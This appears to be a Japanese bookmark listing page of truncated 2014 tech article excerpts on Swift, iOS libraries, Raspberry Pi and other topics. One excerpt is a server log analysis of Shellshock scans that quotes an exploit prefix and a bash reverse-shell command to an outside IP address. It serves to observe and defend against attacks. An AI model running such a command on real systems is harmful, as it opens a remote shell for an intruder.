#前準備 [【Swift】【超入門】初心者向けはじめてのHelloWorld!] [【Swift】【超入門】初心者向けはじめてのHelloWorld!]:http://qiita.com/maximum80/items/4116985b7276fdb45576 XCode6のダウンロードからプロジェクトの作成は前回の記事を参照。 Single View Applicationを選択。 今回はCounterという名前のプロジェクトを作ります。 #StoryBoardを活用する 左側に表示されているプロジェクトデータから Main.storyboard というファイルを選択。 ##LabelとButton等のオブジェクトの設置 まずXCode右下の Object Library (右下の立方体のマーク)をクリック。 すると、様々な種類のオブジェクト(アセットのようなもの)があり、ストーリーボー
人には視覚・聴覚・触覚・味覚・嗅覚の五感に加えて細かく分析すると20以上の感覚があるといわれています。なかでも五感を超える感覚として知られている第六感は、理屈では説明のできない鋭く本質をつかむ心の動きです。身近な人の命が危ないときに感じる「虫のしらせ」や何かが起こる前に感じる「嫌な予感」は、人が持つ野性的な感覚です。 この世の中には訪れてはいけない場所があります。そんな場所にそうとは知らずに立ち寄ったとき、忘れられないほど強烈な体験をすることがあります。恐怖を体験した人だけでなくその話を知った人にも怪奇現象が現れる恐ろしさ。知らなければそれほど恐怖を感じずに済んだのに、わかった瞬間に背筋が凍る恐ろしさ。いろいろな怖さがありますが、テレビや雑誌で公開されている話とはくらべものにならないような怖い体験をしたことがあなたはありますか? 隣の空き部屋で深夜同じ時刻に必ずする物音や誰もいないはずのト
ライブラリ管理ツール「CocoaPods」とは 本連載「生産性ガチアゲなオープンソースiOSライブラリ」で紹介してきた通り、iOS向けのライブラリには、さまざまなものがあります。アプリを開発する際に、そのようなさまざまな外部ライブラリを使用して開発することになると、それらのライブラリの管理が大変になってくる場面もあると思います。今までは、GitHubなどから必要なライブラリをダウンロードして、プロジェクトに手作業で追加する必要がありました。 しかし、「CocoaPods」を使うことで、これら一連の作業を簡単な記述とコマンドだけで完了できます。 そこで今回は連載の最終回として、MacアプリやiOSアプリ開発者向けのObjective-Cライブラリ管理ツール「CocoaPods」を紹介します。 CocoaPodsのインストール まずは、CocoaPodsのインストールからです。CocoaPod
WWDC、前半はすごく眠かったのですが、後半は驚きと興奮の連続でした。 とりあえずSwift触ってみようということで、Xcode 6をさっそくダウンロードし、簡単なTodoアプリをチュートリアル形式で作っていこうと思います。 徹夜明けで眠いので説明がところどころ(というかほとんど)雑ですがお許しください。 割と中級者以上向けの内容です。 サンプルファイル このチュートリアルの完成形はGithubで公開しています。 SwiftTodo - Github こんなの作ります。 やること タイトルを設定して保存できるだけのTodoアプリ作ります CoreData使います CocoaPods使います Objective-Cで書かれた資産を活用します 2画面作り、画面遷移させます Swift使います! プロジェクト作成 Navigation ControllerとTableViewを使うので、M
iOSアプリのデータ操作はMagical Recordでマジ簡単!:生産性ガチアゲなオープンソースiOSライブラリ(3)(1/2 ページ) ゼロからiOS SDK開発を始める新規開発者でも超高速・高品質な開発を可能にするオープンソースのライブラリを目的別に紹介していく連載です。実際にライブラリを組み込みながら技術的な側面も併せて詳細に説明していきます。今回は、アップル製O/RマッピングのCoreDataを使いやすくするObjective-Cライブラリについて、概要や使い方を紹介します。 アプリの品質と生産性の向上もライブラリが助けてくれる アプリ開発を行ううえで絶対的に重要な要素の1つとして「品質」の問題があります。どんなに見た目が美しいアプリを作成しても、どんなに最新の技術を駆使しても品質が悪ければ良いアプリとはいえません。 品質といってもその定義は非常に広く、見る人によってその定義は異
【追記:2014/9/27 17:30】 筆者の環境では、ツイートできない不具合を修正するアップデートが可能となっています。 【追記:2014/9/27 11:37】 開発者によれば、不具合を修正した「twicca」をリリースしたとのこと。数時間内にアップデート可能になり、twiccaでツイートできるようになる見込みです。 アプリが公開されました。Google Play で利用できるようになるまで数時間かかる場合があります。 — @R246 (@R246) 2014, 9月 27 根強い人気を誇る「twicca」で、ツイートなどの機能を使用できなくなる現象が9月27日未明から再び発生しています。25日、26日にも国内外の多数のユーザーが同様の報告しており、影響は広範な模様です。 twiccaは、2009年にリリースされた老舗のAndroid向け非公式Twitterクライアントアプリ。カラー
2014-09-26 Android端末からRaspberry Pi(ラズベリーパイ)にリモートログインする。 03.Raspberry Pi Tweet Android端末からRaspberry Piにリモートログインする。 前回はMac PCからRaspberry Pi(ラズベリーパイ)にSSHでリモートログインしました。今回は、Android端末からRaspberry Piに接続してみたいと思います。 Android端末からSSHを使ってRaspberry Piに接続するためには、「ConnectBot」というAndroidアプリを使うのが簡単です。ConnectBotは、Android上で動作するSSHクライアントのひとつです(他にも類似のアプリがあります)。 ConnectBot - Google Play の Android アプリ 以下の記事に簡単な使い方が解説されていますの
編集部より @ITで展開中の特集「普通の開発者のためのリーンスタートアップ手順書」では、これからリーンスタートアップを始めたい開発者・技術者向けの記事が多数インデックスされています。詳細は記事「リーンスタートアップを実践するための参考記事116選まとめ」を参照してください。 特集の第2回として、さまざまなネタでIT技術者に有用な情報をお届けするコラム連載「安藤幸央のランダウン」の筆者、安藤幸央氏に起業に必要となるさまざまな事柄や起業関連サービス各種を紹介していただきました。 起業に必要な事柄や起業関連サービス各種まとめ 開発者・技術者が何か新しいサービスを始めようと考えたときに、以前は、膨大な設備投資、流通やパッケージの販売、店舗、サポートなどさまざまな事柄を考えなければいけないものでした。しかし現在は、ソフトウェア産業であれば、機材も比較的安価に、手軽に入手でき、サーバー環境もAmazo
条件1. /bin/shの実体がbashのディストリビューション RHEL CentOS Scientific Linux Fedora Amazon Linux openSUSE Arch Linux (自ら設定した場合: Debian, Ubuntu) 条件2. 動作環境 CGI (レンタルサーバでありがちなCGIモードのPHP等も含む) Passenger(Ruby) 条件3. プログラム内容 Passengerは全死亡 *1 systemや `command`、 '| /usr/lib/sendmail' などで外部コマンド実行 *2 PHPのmailやmb_send_mail、その他フレームワーク等を介したメール送信 *3 以下は条件1が不要 明示的にbashを呼ぶ 先頭で #!/bin/bash や #!/usr/bin/env bash しているプログラムを実行 (rbenv
件のbashの脆弱性が残っていることを期待したアクセスについて、24時間ほど前には来てなかったんですが、さきほどログを見てみたらちょっとだけ来てました。 ログに残るのは User-Agent ぐらいなのですが、ほかのフィールドで試している輩もいることでしょう。 アクセス元を逆引きしてみたんですが、クラウドサービスばっかりでした(一個だけ shodan.io なるドメインの下のIPアドレスからあったのだけど、なんだろう……)。 さて、() { :;}; の後になにをやってるのか、というのなんですが、一つ THIS IS VULNERABLE と echo するだけという人がいました。警告のつもりなのか、手動で何か確認しているのかな。あとはpingだな……と思ってたんですが、ちょっと特異なものが。 /bin/bash -i > /dev/tcp/198.206.15.239/8081 0>&1
「DevDocs」はHTML5やCSS3、JavaScriptなどのドキュメントを高速検索できるサイトです。MacにDashというドキュメントを高速に横断検索できるツールがありますが、それに似たサービスですね。オンラインで検索できるので、便利です。検索するとリアルタイムに検索結果が絞りこまれ、必要なドキュメントの内容が表示されます。 使うには、まずDevDocsへアクセスしましょう。左側のメニューに検索対象の言語が並んでいます。 プルダウンを開くとカテゴリごとにドキュメントが整理されています。左上の検索ボックスから対象のタグやメソッドを入力すると絞り込むことができますよ。高速に検索できるので、必要な情報がすぐに手に入るのがうれしいですね。ウェブ開発をしている方はドキュメントを読むことが頻繁にあると思います。DevDocsをブックマークしておくと、いざというときに便利ですよ。 DevDocs
文字列のパースをする必要がある時、どんな文字列にでも何でもかんでも正規表現で処理しようとするエンジニアをたまに見かける。 正規表現は確かに文字列を扱うための強力な手段だが、万能ではない。正規表現の性質上、そもそもパースできない文法があるからだ。従ってそういうケースの時には正規表現ではなく別の方法を使ったほうが良い。正規表現を無理やり使っても、バグを埋め込んだり、メンテナンスが難しかったり、正しく文字列をパース出来なかったりで良いことはあまりない。 正規表現がパースできない文字列 正規表現が苦手とする文法で一番よく言われるのは、再帰的な構文を含む文法である。例えば、括弧つきの数式なんかがそうで、1+1 でも (1+1) でも ( (1+1) ) でも ( ( (1+1) ) ) でも ( ( ( ( 1+1) ) ) ) でも、という風にいくらでも入れ子にできる。正規表現では、こういった文字
※ あくまでメモなので、多分に推測が含まれています。 さっそくSwiftを触ってみています。 ざっと見た感じだと、JavaScriptとRubyみたいな感じだなーと思いました。 (きっと触ってきた言語などによって感想は様々でしょうが) ただ、Appleの発表にあったように「モダンな」感じは伝わってきます。 しばらくはiBooksの教科書を読んだりして理解できてきた部分をメモとして書いておこうと思います。 言語の話なので、コードを抜粋しなければとりあえず規約的には問題ないかな、と。 さて、さっそく読んでいて躓いたというか、迷ったものに、タイトルの通り!と?があります。 こんなコードです。
「エンジニアリング至上主義」時代の終えんに開発現場で今すぐできることとは:特集:Biz.REVO~開発現場よ、ビジネス視点を取り戻せ~(2) リーンやアジャイルプロセスは「アプリケーション(ソフトウェア)」を作るためのもの。ビジネスにおけるIT活用が高度化・複雑化する現在、「システム」開発現場には、より大局的なIT観が求められている。 「よりビジネスに貢献できるITを」。もはや言い尽くされた感もあるテーマだが、ITがかつてないほど企業のビジネスに深く組み込まれている今日、ITにいかにビジネス視点を持ち込めるかが、そのままビジネスの成否に直結する時代になった。特に、市場環境の変化スピードが速くなる一方の昨今、ビジネスを裏で支える企業システムの整備には、かつてないほどのスピード感が求められるようになった。 しかし、自社の基幹ビジネスを支えるに足る品質や機能、独自性を備えたシステムを構築するには
.NET開発者がよく使うサイト、本当に使えるサイト【2014年度版】:特集:.NET開発者のためのオンラインリソースガイド Web上には.NET関連サイトが数え切れないほどたくさんある。その中でも.NET開発初心者がまずは押さえておきたいWebサイトを厳選してまとめた。 本稿は、これから.NETでプログラミングを始めようとしている方や、新しく.NETでの開発に携わることになった方に贈るオンラインリソースガイドの2014年度版である。インターネット上に数ある.NET関連サイトの中で、.NET開発者がまずは押さえておくべきWebサイトについてまとめている。 本稿がまとめているサイト&ジャンル分けについて .NET開発者がよく利用するサイトの代表は、やはり.NET FrameworkとVisual Studioを提供するマイクロソフトのサイトだろう。だが、ひとくくりに「マイクロソフトのサイト」と
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く